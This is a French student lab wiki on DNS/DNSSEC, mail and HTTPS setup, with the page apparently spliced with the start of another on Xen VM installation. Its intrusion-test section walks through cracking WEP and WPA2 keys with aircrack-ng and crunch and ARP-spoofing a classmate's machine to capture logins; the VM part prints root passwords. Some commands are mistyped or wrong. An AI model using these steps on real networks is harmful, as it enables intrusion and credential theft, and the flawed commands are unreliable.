Il faut tout d'abbord modifié le fichier <code>/etc/bind/named.conf.local</code> qui contient la configuration DNS et y déclaré les zones associées au domaine ainsi qu'un fichier de description de la zone.<br />
<br />
[[Fichier:Mirage-config-named.conf.local.png|1000px|thumb|left|Configuration de mirage]]<br />
<br style="clear: both;" \><br />
<br />
Puis créé le fichier de configuration appelé <code>glopglop.site</code> avec la commande <code>vim /etc/bind/glopglop.site</code><br />
<br />
[[Fichier:Configuration_bind9.png|1000px|thumb|left|Configuration de bind9]]<br />
<br style="clear: both;" \><br />
<br />
On relance le service 'bind9' avec la commande :<code>service bind9 restart</code><br />
<br />
On vérifie que le DNS fonctionne bien avec le commande <code>host dns1.glopglop.site localhost</code><br />
[[Fichier:Dns1.glopglop.site_2020-11-13_08-57-52.png|1000px|thumb|left|Vérification du DNS en local]]<br />
<br style="clear: both;" \><br />
Le DNS fonctionne donc bien.<br />
<br />
==== Configuration gandi.net ====<br />
Grâce au registrar gandi.net, nous avons réservé le nom de domaine <code>glopglop.site</code>. L'extension <code>.site</code><br />
<br />
[[Fichier:Gandi-glopglop-VueGeneral.PNG|1000px|thumb|left|Image de la configuration de Gandi]]<br />
<br style="clear: both;" \><br />
<br />
On va maintenant ajouter un "glue record" qui est un enregistrement collé. Il permet d'associer un nom d'hôte avec une adresse IP au registre.<br />
Glue records fournis par Gandi pour associer un hostname (nom de serveur ou DNS) à l'adresse IP de notre machine. Les modifications seront effectives entre 12 et 24 heures.<br />
<br />
[[Fichier:Mirage-Ajoue-GlueRecord.PNG|1000px|thumb|left|Image de la configuration de Gandi avec Glue Record]]<br />
<br style="clear: both;" \><br />
<br />
Une fois le "glue record" renseigner se qui va lié notre DNS a une ip, il faut renseigner les serveur de non. cela prend 27/72h.<br />
Il faut bien faire attention que la VM soit correctement configurer avec 'bind9' car c'est lui qui donne IPv4 et IPv6 correspondant à vos noms de machines. Si ce n'est pas le cas Gandi ne pourras pas liée les DNS a l'ip de la machine.<br />
<br />
[[Fichier:GandiDNS_2020-11-13_09-00-16.png|1000px|thumb|left|DNS sur GANDI]]<br />
<br style="clear: both;" \><br />
<br />
Une fois les serveuyrs de non configurer, on peux fermer GANDI.<br />
<br />
===Sécurisation de site web par certificat===<br />
<br />
===Sécurisation de serveur DNS par DNSSEC===<br />
Premièrement, on ajoute <code>l'obtion dnssec-enable yes;</code> dans le fichier <code>named.conf.options</code>.<br />
====Génération des clef asymétrique====<br />
Il est important de bien sauvegarder la clef privée, sinon notre système de clef ne fonctionnera pas.<br />
pour commencer, on crée un répertoire pour stocker les clef.<br />
cd /etc/bind<br />
mkdir glopglop.site.dnssec<br />
cd glopglop.site.dnssec/<br />
<br />
Une fois dans le dossier <code>glopglop.site.dnssec</code>, on crée les clefs avec la commande<code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair...............+++++ ..........................................+++++ <br />
Kglopglop.site.+005+15337<br />
<br />
On crée ensuite le clef asymétrique pour la signature des enregistrements, pour cela on utilise la commande <code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair................+++++ ..................................................+++++ <br />
Kglopglop.site.+005+55608<br />
<br />
On a bien maintenant la paire de clef privée/publique. Le problème est qu'il est difficile de les distinguer avec leurs nom compliquer, il faut donc les renommer pour plus de transparence.<br />
On renomme donc les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);<br />
<br />
mv Kglopglop.site.+005+15337.key glopglop.site-ksk.key<br />
mv Kglopglop.site.+005+15337.private glopglop.site-ksk.private<br />
mv Kglopglop.site.+005+55608.key glopglop.site-zsk.key<br />
mv Kglopglop.site.+005+55608.private glopglop.site-zsk.private<br />
<br />
[[Fichier:ClefPrivéePublique_2020-11-13_09-23-42.png|1000px|thumb|left|Clef Privée et Public]]<br />
<br style="clear: both;" \><br />
<br />
Dans <code>db.glopglop.site</code> on ajoute les deux lignes ci-dessous : <br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-ksk.key<br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-zsk.key<br />
<br />
On signe la zone d'enregistremment avec la commande <code>dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk</code><br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|Generation des zones d'enregistrement]]<br />
<br style="clear: both;" \><br />
<br />
Les clef sont maintenant fonctionelle il faut donc les ajouter a GANDI, pour cela on se connecte a gandi puis on ajoute une clef KSK.<br />
pour obtenir la cled on utilise la commande <code>cat glopglop.site-ksk.key</code> on obtien le résultat ci-dessous : <br />
; This is a key-signing key, keyid 15337, for glopglop.site.<br />
; Created: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Publish: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Activate: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
glopglop.site. IN DNSKEY 257 3 5 AwEAAc3TCJkWFGnZSj/Q364AF7n69UaXum/no+LuEbXbGjTXLETdYk+Q gVAmIpvbJXcG0rucJTbVFaHr8IhWqf7VvkCbEGAORAkzBVXThPDR1pZR lJDEY88Lb2T6k9uHw43l2oP8vPev2eIRbU3VxUuJs++elgj32DTBA+yK p++/gz29H6PQVpkHnH81RjGdV+K1RZEwxkuev2MmB329fhMRwTsbW0BV aeXc5faRk9ZEKb7tr0p7txVv4wZEL6it01ZiNyGktwLRj8ln+cQz1GtC PY/UWnCtamycE/2k4f98sdDa6TMiguuBNOPug+ODzqGiI7LNUyF4jBbf 6NAgChwITps=<br />
<br />
On ajoute la clef a Gandi comme montrer ci-dessous en n'oubliant pas de sélectionner '5(RSA/SHA-1'.<br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|gandi enregistrement de la clef KSK]]<br />
<br style="clear: both;" \><br />
<br />
Pour vérifier que tout fonctionne correctement, on va sur le site 'dnsvizi.net' il nous permet d'analyser le DNS et représente la chaine d'authentification DNSSEC.<br />
[[Fichier:DNSSEC_2020-11-13_11-59-06.png|1000px|thumb|left|Test du DNSSEC]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que maintenant on a bien le statu 'SECURE' donc tout fonctionne bien.<br />
<br />
===Installation d'une messagerie===<br />
====Configuration de Postfix====<br />
Pour recevoir le mail de vérification de GANDI il faut sur la VM un gestionnaire de mail il faut installer mutt et postfix. On utilise les commandes ci-dessous : <br />
apt-get install postfix<br />
ant-get install mutt<br />
<br />
A l'installation de 'postfix' un fenêtre de configuration s'ouvre. <br />
Il faut renseigner le non du site comme 'System mail name : 'glopglop.site'<br />
<br />
On vérifie la configuration de 'postix' en allant dans le 'main.cf'<br />
vi /etc/postfix/main.cf <br />
<br />
[[Fichier:Config Postfix mirage.png|1000px|thumb|left|Configuration de postfix]]<br />
<br style="clear: both;" \><br />
<br />
On a bien le non de domaine 'glopglop.site' on peut relancer 'postfix'<br />
service postfix restart<br />
Si le service n'est pas configurer correctement, on peut le reconfigurer avec la commande <code>dpkg-reconfigure postfix</code><br />
====Réception d'un message====<br />
On peux testé la réception de message en envoyant un message a 'roor@glopglop.site'<br />
Si tout fonctionne bien, on peux visualisé les message reçu en tapant la commande <code>mutt</code><br />
<br />
[[Fichier:Reception_messages_mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
On constate que on reçoit bien les message en provenance du mail de Polytech.<br />
Pour que Gandi puissent nous envoyer le mail contenant la clef de cryptage, on a besoin de pouvoir recevoir les messages qui sont destiné a 'admin@glopglop.site'<br />
<br />
Pour cela on va modifier le fichier 'vim /etc/aliases' en ajoutant la commande <code>admin:root</code><br />
On crée ensuite un <code>newaliases</code> puis on restarte bind9 avec la commande <code>service bind9 restart</code><br />
<br />
Attention pour les test il est conseiller d'utilisé deux boite mail différant care celle ci prenne du temps pour se mettre a jours.<br />
<br />
====Envoie du SSL Certification Gandi====<br />
<br />
Quand on est sure que le mail fonctionne bien avec l'envoie d'un message a destination de 'admin@glopglop.site' on peux demandé a gandi de bous envoyer la clef de cryptage.<br />
On demande d'envoyé le ssl certification a notre VM, cela peux prendre un certain temps.<br />
<br />
[[Fichier:SSL_Certification_Gandi_Mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
Dans le mail de Gandi on reçoit un code de confirmation ainsi qu'un mot de passe. Une fois confirmer, on peut télécharger les fichiers 'glopglop.site.crt' et 'GandistandardSSLCA2.perm'<br />
<br />
Une fois les fichiers télécharger et importer dans la Vm dans le dossier '/root', il faut dire que quand on se connecte sur le site 'glopglop.site' en 'https' il dois utilisé la cled publique 'myserver.key'.<br />
[[Fichier:Gandi-téléchargement_clefetcertifica_mirage.png|1000px|thumb|left|Fichiers Gandi a téléchargé]]<br />
<br style="clear: both;" \><br />
<br />
quand on utilise le ssh on passe par le port '442' dans le fichier <code>/etc/apache2/sites-available/default-ssl.conf</code><br />
On ajoute les lignes suivantes : <br />
<br />
SSLEngine on<br />
SSLCertificateFile /root/glopglop.site.crt<br />
SSLCertificateKeyFile /root/myserver.key<br />
SSLCertificateChainFile /root/GandiStandardSSLCA2.pem <br />
<br />
On reboot le service apash2 pour qu'il prenne les modification en compte.<br />
Le service ne fonctionne pas encore car on a rien qui écoute le port 442. <br />
/etc/apache2/sites-available/default-ssl.conf <br />
dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk<br />
service bind9 restart<br />
Il ne faut pas oublier d'incrémenter le numéro de version avant de restart le service 'bind9'<br />
<br />
On vérifie que tout fonctionne bien avec les commandes : <br />
host www.glopglop.site<br />
www.glopglop.site is an alias for dns1.glopglop.site.<br />
dns1.glopglop.site has address 193.48.57.168<br />
<br />
host www.glopglop.site ns6.gandi.net<br />
Using domain server:<br />
Name: ns6.gandi.net<br />
Address: 2001:4b98:d:1::40#53<br />
Aliases: <br />
<br />
www.glopglop.site is an alias for dns1.glopglop.site.<br />
dns1.glopglop.site has address 193.48.57.168<br />
<br />
On peut maintenant vérifier que le site est maintenant bien sécurisé en 'https'<br />
<br />
[[Fichier:Glopglop.site_Securisé.png|1000px|thumb|left|GlopGlop.site en Https]]<br />
<br style="clear: both;" \><br />
<br />
on a maintenant un site sécurisé en 'https'<br />
<br />
====Modification de la page d'accueille Apashe2====<br />
<br />
Pour éviter d'avoir la page de base Apash2, on va modifier le fichier 'index.html' pour cela il suffit d'éditer le fichier avec vim avec la commande <code>vim /var/www/html/index.html</code>.<br />
<br />
Le site : https://www.w3schools.com/html/html_examples.asp explique comment faire sa propre page web.<br />
la page pour le site 'glopglop.site' ne sert que d'exemple si on veux une page plus élaborer des template sont directement disponible sur le net avec en prime les fichiers css pour obtenir un site vraiment attractif. mais on cherche juste pour le moment a avoir une page différente de test.<br />
<br />
==Tests d’intrusion==<br />
<br />
=== Description ===<br />
Un ordinateur portable et une clef Wifi est fourni par Monsieur Redon. Pour que le clef fonctionne il est nécessite pas nécessairement de la configuration. Il faut aussi installer les paquetages nécessaire pour craquer la clef Wep et la clef WPA <br />
<br />
=== Installation de la clef Wifi ===<br />
Avec la commande <code>lsusb</code> on peux voir la list des interfaces connecté aux pc. Ci-dessous les résultats obtenu.<br />
<br />
Bus 003 Device 004: ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter<br />
Bus 003 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 004 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub<br />
Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 001 Device 004: ID 413c:2003 Dell Computer Corp. Keyboard<br />
Bus 001 Device 003: ID 046d:c016 Logitech, Inc. Optical Wheel Mouse<br />
Bus 001 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
<br />
La clef ubs Wifi est bien détécter.<br />
On doit donc installer le pilote pour les clef usb RT5370 avec la commande :<br />
apt-get install firmware-ralink<br />
apt-get install firmware-misc-nonfree<br />
<br />
Une fois les pilotes installer, on récupéère le nom de l'interface wifi avec la commande <code>ip l</code> et on récupère le résultat ci-dessous : <br />
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00<br />
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:22:4d:7a:f1:c3 brd ff:ff:ff:ff:ff:ff<br />
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
5: bridge: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
6: vmnet1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:01 brd ff:ff:ff:ff:ff:ff<br />
7: vmnet8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:08 brd ff:ff:ff:ff:ff:ff<br />
8: wlx40a5ef059784: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN mode DEFAULT group default qlen 1000<br />
link/ether 40:a5:ef:05:97:84 brd ff:ff:ff:ff:ff:ff<br />
<br />
La clef wifi s'apelle donc <code>wlx40a5ef059784</code> on fait maintenant un <code> ip link set wlx40a5ef059784 up></code><br />
<br />
Avec la comande <code>dmsg</code> on vérifie que la clef wifi fonctionne bien. <br />
<br />
=== Installation du paquetage AirCrack-ng ===<br />
Pour installer [https://doc.ubuntu-fr.org/aircrack-ng AirCrack] (utilitaire qui permet de casser les clefs WEP et WPA), il faut de taper la commande :<br />
apt-get install aircrack-ng<br />
apt-get install firmware-misc-nonfree<br />
<br />
=== Utilisation de AirCrack pour clef WEP ===<br />
<br />
Après avoir branché la clef WiFi, on se sert de <code>airmon-ng</code> qui est un utilitaire qui espionne le réseau et permet d'obtenir les types d'interfaces communicantes/espionnable.<br />
airmon-ng<br />
Pour tenter de s'y connecter en tant qu'espion, il faut alors taper (nous le tapons ici avec wlan0mon):<br />
airmon-ng start wlx40a5ef059784<br />
Puis, pour observer et découvrir les canaux associés au réseau et leurs SSID,il faut taper:<br />
airodump-ng wlan0mon <br />
<br />
On obtien le résultat ci dessous : <br />
<br />
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br />
<br />
38:0E:4D:B0:E9:E0 -1 0 1 0 1 -1 WPA <length: 0> <br />
04:DA:D2:9C:50:51 -30 49 834 0 9 54e. WEP WEP cracotte02 <br />
04:DA:D2:9C:50:5A -29 44 841 0 9 54e. WEP WEP cracotte11 <br />
04:DA:D2:9C:50:56 -28 53 832 9 9 54e. WEP WEP cracotte07 <br />
04:DA:D2:9C:50:57 -29 54 803 0 9 54e. WEP WEP cracotte08 <br />
04:DA:D2:9C:50:59 -30 50 833 0 9 54e. WEP WEP cracotte10 <br />
04:DA:D2:9C:50:54 -29 48 841 0 9 54e. WEP WEP cracotte05 <br />
04:DA:D2:9C:50:50 -29 50 841 0 9 54e. WEP WEP cracotte01 <br />
04:DA:D2:9C:50:5B -29 50 825 0 9 54e. WEP WEP cracotte12 <br />
04:DA:D2:9C:50:53 -33 46 843 0 9 54e. WEP WEP cracotte04 <br />
04:DA:D2:9C:50:58 -28 50 694 0 9 54e. WEP WEP cracotte09 <br />
04:DA:D2:9C:50:55 -30 49 746 0 9 54e. WEP WEP cracotte06 <br />
04:DA:D2:9C:50:52 -33 50 764 0 9 54e. WEP WEP cracotte03 <br />
00:14:1B:60:8C:28 -30 60 0 0 4 54e. WPA2 CCMP PSK kracotte09 <br />
00:14:1B:60:8C:22 -31 55 0 0 4 54e. WPA2 CCMP PSK kracotte03 <br />
00:14:1B:60:8C:27 -32 64 0 0 4 54e. WPA2 CCMP PSK kracotte08 <br />
00:14:1B:60:8C:24 -34 58 0 0 4 54e. WPA2 CCMP PSK kracotte05 <br />
00:14:1B:60:8C:23 -31 63 0 0 4 54e. WPA2 CCMP PSK kracotte04<br />
<br />
Le réseau que nous voulons craquer est <code>cracotte05 ssid : 04:DA:D2:9C:50:54 chanel : 9</code><br />
<br />
On utilise la commande <code>airodump-ng -w reseau_cracotte05 -c 9 --bssid 04:DA:D2:9C:50:54 wlan0mon</code>. cela nous crée un <code>reseau_cracotte05-01.cap</code> On n'as pluq qu'a faire un <code>aircrack-ng reseau_cracotte05-01.cap </code>.<br />
<br />
KB depth byte(vote)<br />
0 0/ 1 F1(50176) 48(46848) A1(46080) C9(45824) 2A(45056) <br />
1 0/ 1 DE(50944) F0(46592) 60(45824) 4D(45312) 1E(44544) <br />
2 1/ 3 D4(47360) 98(46336) B6(45568) A7(45056) EB(45056) <br />
3 0/ 2 00(47360) 34(46848) 4E(45824) 6F(44800) 35(44544) <br />
4 0/ 1 00(50688) 09(45824) 50(45568) FD(45056) 5E(44032) <br />
5 0/ 3 00(46592) BD(45824) 4A(45824) 5A(45056) 87(45056) <br />
6 0/ 1 00(51456) 09(47104) 3A(45824) F9(45824) 04(45568) <br />
7 0/ 1 00(51712) C9(47360) 08(46336) 56(45312) E2(44800) <br />
8 0/ 1 00(54016) 05(45568) C1(45312) D5(44544) B7(44288) <br />
9 0/ 2 00(47872) 56(46592) 84(45568) 88(45568) F2(45056) <br />
10 1/ 2 09(48128) 6B(45824) D5(45824) 0C(45568) C2(45568) <br />
11 0/ 2 99(48128) 76(47616) 99(46080) E6(46080) 06(44800) <br />
12 2/ 4 FD(44800) DE(44544) B9(44032) 3F(43776) 94(43776) <br />
<br />
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:00:09:99:99 ] <br />
Decrypted correctly: 100%<br />
<br />
Et voila nous avons trouver clef du réseau wifi cracotte05<br />
<br />
=== Utilisation de AirCrack pour clef WPA2-PSA ===<br />
<br />
On va maintenant craquer le réseau Kracotte05 qui est un réseau WPA on sait d'avance que la clef WPA est un nombre sur 8 chiffres.<br />
On va donc faire un "cassage par force brute" avec un fichier texte contenant tout les combination de 00000000 a 99999999.<br />
<br />
On commence par installer Crnch avec la commande <code>sudo apt-get install -y crunch</code><br />
<br />
Une fois installer on génère un fichier dictionnaite.txt avec la commande <code>crunch 8 8 0123456789 >> dictionnaire_wpa.txt</code><br />
On relance la commande <code>airodump-ng -w reseau_kracotte05 -c 5 --bssid 00:14:1B:60:8C:24</code><br />
On a bien sure remplacer le ssid et le chanel par celui du wifi Kracotte05.<br />
<br />
Puis nous lançons aircrack-ng avec la commande <code>aircrack-ng reseau_kracotte05-01.cap -w dictionnaire_wpa.txt</code><br />
Read 121032 packets.<br />
<br />
# BSSID ESSID Encryption<br />
<br />
1 00:14:1B:60:8C:24 kracotte05 No data - WEP or WPA<br />
<br />
Choosing first network as target.<br />
<br />
Opening reseau_kracotte05-01.cap<br />
Read 121032 packets.<br />
<br />
1 potential targets<br />
Got no data packets from target network!<br />
Quitting aircrack-ng...<br />
<br />
On peut voir que cela prend du temps pour récupérer les data nécessaire pour effectuer le crackage 1 data toutes les 15 minutes.<br />
Une fois que on a récupérer les data, on peux effectuer le "cassage par force brute" <br />
<br />
Aircrack-ng 1.5.2 <br />
<br />
[00:32:18] 10323450/102795810 keys tested (2771.75 k/s) <br />
<br />
Time left: 9 hours, 16 minutes, 11 seconds 10.04%<br />
<br />
KEY FOUND! [ 10244444 ]<br />
<br />
<br />
Master Key : D6 B0 55 29 8C A0 B4 C9 13 24 C9 03 8C D5 13 4B <br />
46 A4 C2 DB 79 E7 4C BC AE B5 5A 5D 48 D7 C4 3B <br />
<br />
Transient Key : 25 23 28 1B 21 51 4B 87 07 51 A4 8E D1 80 48 C8 <br />
54 F6 87 8B 30 DF C1 D0 E6 1A 74 87 2F 50 EC 1B <br />
9B 24 39 29 40 E3 BD 89 CD AE 3E 81 E9 EC 16 70 <br />
79 F9 24 2E 30 4E 52 24 A9 41 30 52 E1 25 EC 85 <br />
<br />
EAPOL HMAC : 7F AC 76 7D B5 33 0C 24 20 C3 BA A2 4B DF 2F CD<br />
<br />
On a bien trouver la clé du wifi !<br />
On voit que cela peut prendre beaucoup de temps pour trouver la clé, d'out l'interner de couper le dictionnaire en plusieurs et lancer le traitement sur plusieurs pc des camarades de classe. Cela permet de diviser le temps de traitement par le nombre de machine utilisé.<br />
<br />
===Exploitation de failles du système===<br />
<br />
===Attaque de type "homme au milieu" par usurpation ARP===<br />
Maintenant on tesnt une attaque par "homme au milieu" pour commancé, on va installer le paquetage <code>dsniff</code> pour cela on utilise la commande : <code>apt-get install dsniff</code><br />
<br />
On regarde dans un premier temps si le pc peut se comporter comme un routeur avec la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> normalement il nous notifie '0' se qui prouve que le pc ne se comporte pas comme un routeur. On utilise la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> pour faire passer la variable a 1. maintenant le PC peut se comporter comme un routeur.<br />
<br />
On fait la commande <code>cat /proc/sys/net/ipv4/conf/all/rp_filter</code> la variable recu doit être a '0' ce qui permet aux pc de renvoyer les requètes sur l'interface qui les a recu.<br />
<br />
Ensuite on fait un <code>ip r</code> pour récupérer l'adresse ip du routeur.<br />
[[Fichier:Ip_r_mirage.png|1000px|thumb|left|capture de la commande ip r]]<br />
<br style="clear: both;" \><br />
<br />
On fait la commande <code>arpspoof -i bridge -t zabeth07 172.26.145.254</code><br />
On lance Wireshark en root en utilisant la commande <code>su</code> si celui ci n'est pas installer on fait préalablement <code>apt-get install wireshark</code><br />
Une fois Wireshark lancé, on filtre tout les paquets en provenance de nottre cible la zabeth07.<br />
Il faut fauire attention de bien désativer les proxi dans firefow sinon cela ne fonctionne pas.<br />
<br />
[[Fichier:Wireshark_mirage.png|1000px|thumb|left|capture de Wiresharkf]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que on a bien recupérer les mdp lors de la connexion aux site 'applications.polytech-lille.net'.<br />
Non d'utilisateur : Oui le pas de calais<br />
Mdp : le mdp<br />
<br />
=== Intrusion sur un serveur d’application Web===<br />
<br />
==Réalisations==<br />
<br />
===Sécurisation de données===<br />
<br />
===Chiffrement de données===<br />
<br />
Parfois il est necessaire de chiffrer les données importante,d'avoir des clef USB, ou des fichier sécuriser. Pour sécuriser la clef USB, on va utilisé 'cryptsetup'<br />
pour commancer on installe les paquetages 'lvm2' et 'cryptsetup'.<br />
apt-get install cryptsetup<br />
apt-get install lvm2 <br />
<br />
Le [https://doc.ubuntu-fr.org/cryptsetup site] on peut trouver la liste des commandes necessaire pour crypter le clef USB.<br />
<br />
Premièrement on va formaté la clef usb pour avoir un disque propre avec la commande <code>mkfs.vfat -n 'Alex.G' -I /dev/sdb1</code> on obtien le nom de la clef USB avec la commande <code>df -h</code><br />
On a maintenant une clef USB clean qui a comme nom Alex.G et un format FAT32.<br />
<br />
On peut lancer le cryptage de la clef USB avec la commande <code>cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/sdb</code> Pour savoir ou les la clef USB on utilise la commande <code>lsblk</code><br />
On choisi un mdp pour le clef USB, puis on envoie le fichier etc sur le clef pour vérifier si il est bien encrypter. Une fois la clef crypter avec un fichier dessu, on va sur un autre pc et on, vérifie si le fichier est bien crypter.<br />
La liste des commande utilisé est listé ci-dessous : <br />
mount /dev/mapper/Alex.G /mnt<br />
cp -r /etc /mnt<br />
umount /mnt<br />
cryptsetup luksClose Alex.G<br />
<br />
On peut voir que le clef USB crypter fonctionne bien.<br />
[[Fichier:ClefUSBLock_2020-11-13_11-48-55.png|1000px|thumb|left|Cryptage de la clef USB]]<br />
<br style="clear: both;" \><br />
<br />
===Inspection ARP par un élément réseau===<br />
<br />
===Sécurisation WiFi par WPA2-EAP===</div>Aglainehttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G5&diff=54015TP sysres IMA2a5 2020/2021 G52020-11-27T17:16:59Z<p>Aglaine : /* Serveur SSH */</p>
<hr />
<div>== Introduction ==<br />
<br />
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système vous aurez à installer une machine virtuelle Xen et à y configurer des services. Enfin la mise en place d’un réseau WiFi sécurisé et d’un site web sécurisé vous permettent de mettre en pratiques vos connaissances en la matière.<br />
<br />
=== Tableau Récapitulatif ===<br />
{| class="wikitable" style="text-align: center;width: 35%;margin: auto;"<br />
! Description !! Détails<br />
|-<br />
! scope="row" style="width: 40%"|ID VLAN<br />
|style="width: 60%"|Vlan7<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V4<br />
|style="width: 60%"|193.48.57.168/26<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V6<br />
|style="width: 60%"|2001:660:4401:60a2:216:3eff:fe95:d093/64<br />
|-<br />
! scope="row" style="width: 40%"|Nom de de la VM <br />
|style="width: 60%"|mirage<br />
|-<br />
! scope="row" style="width: 40%"|Numéro de poste<br />
|style="width: 60%"|Zabeth06<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTP<br />
|style="width: 60%"|http://www.glopglop.site/<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTPS<br />
|style="width: 60%"|https://www.glopglop.site/<br />
|-<br />
|}<br />
<br />
== Installation des systèmes d’exploitation == <br />
<br />
Pour installer une Machine Virtuelle, il faut d'abord se connecter sur le disque de virtualisation.<br />
Pour cela, il faut utiliser la commande : <br />
ssh capbreton.plil.info<br />
<br />
=== Installation dans la machine virtuelle Xen ===<br />
<br />
Une fois connecter, il faut lancer la création de la Machine virtuelle avec la commande :<br />
xen-create-image --hostname=mirage --ip 193.48.57.168 --netmask=255.255.255.0 --gateway=100.64.0.5 --dist=ascii --dir=/usr/local/xen --force<br />
<br />
L'installation prend un certain temps pour regarder si l'installation se déroule bien, on peut ouvrir un second terminale connecté en SSH a "capbreton" puis on utilise la commande : <br />
tail -f /var/log/xen-tools/mirage.0.log<br />
<br />
A la fin de l'installation, on obtient le mot de passe root et des informations importantes :<br />
Installation Summary<br />
---------------------<br />
Hostname : mirage<br />
Distribution : ascii<br />
MAC Address : xxxxxxxxxxx<br />
IP Address(es) : dynamic<br />
SSH Fingerprint : SHA256:xxxxxxx (DSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ED25519)<br />
SSH Fingerprint : SHA256:xxxxxxx (RSA)<br />
Root Password : DgtUlOmnBFERdfarGBsopGR<br />
<br />
Une fois la VM créer, nous pouvons la lancer avec la commande :<br />
xl create /etc/xen/mirage.cfg<br />
<br />
On peut vérifier que le VM est bien démarrer avec la commande :<br />
xl list<br />
Pour fonctionner l'état de la VM doit être r ou -b<br />
<br />
[[Fichier:LancementVm.PNG|1000px|thumb|left|Liste des VM en fonctionnement]]<br />
<br style="clear: both;" \><br />
<br />
On accède pour la premier fois a nottre Vm avec la commande :<br />
xl console mirage<br />
<br />
il demande alors le login (root) et le mdp (longue chaine précédemment générée). <br />
Après nous être logué, on change le mot de passe qui devient : glopglopglop.<br />
<br />
=== Configuration de la machine virtuelle Xen ===<br />
<br />
Il faut maintenant installer les packages que nous avons besoins : <br />
apt-get update<br />
apt-get install VIM<br />
<br />
Il faut configurer l'adresse IP et le mask de la VM. Pour cela on utilise la commande :<br />
vim /etc/network/interfaces<br />
<br />
Dans interfaces on ajoute <br />
auto eth0<br />
iface eth0 inet static<br />
address 193.48.57.168<br />
gateway 193.58.57.163<br />
netmask 255.255.255.248<br />
<br />
Pour que la machine soit joignable par SSH via l'extérieure il est nécessaire de configurer la passerelle et le ssh_config. Pour cela on utilise la commande :<br />
vi /etc/ssh/ssh_config<br />
<br />
Le fichier ssh_config doit être configurer comme ci dessous :<br />
Host *<br />
SendEnv LANH LC_*<br />
HashKnownHOST yes<br />
GSSAPIAuthentification yes<br />
<br />
Sur Capbreton, une passerelle doit être mis en place pour pouvoir connecté les VM aux monde extérieure.<br />
Pour cela on configure ces interface avec la commande : <br />
vim/etc/network/interfaces<br />
<br />
Puis on configure la passerelle comme ci dessous : <br />
<pre><br />
# The loopback network interface<br />
auto lo<br />
iface lo inet loopback<br />
<br />
# Physical Network Interfaces<br />
#<br />
auto eth<br />
iface eth inet static<br />
address 192.168.0.29<br />
netmask 255.255.255.0<br />
gateway 192.168.0.1<br />
<br />
auto eth0<br />
iface eth0 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth1<br />
iface eth1 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth2<br />
iface eth2 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth4<br />
iface eth4 inet manual<br />
post-up ip link set $IFACE up<br />
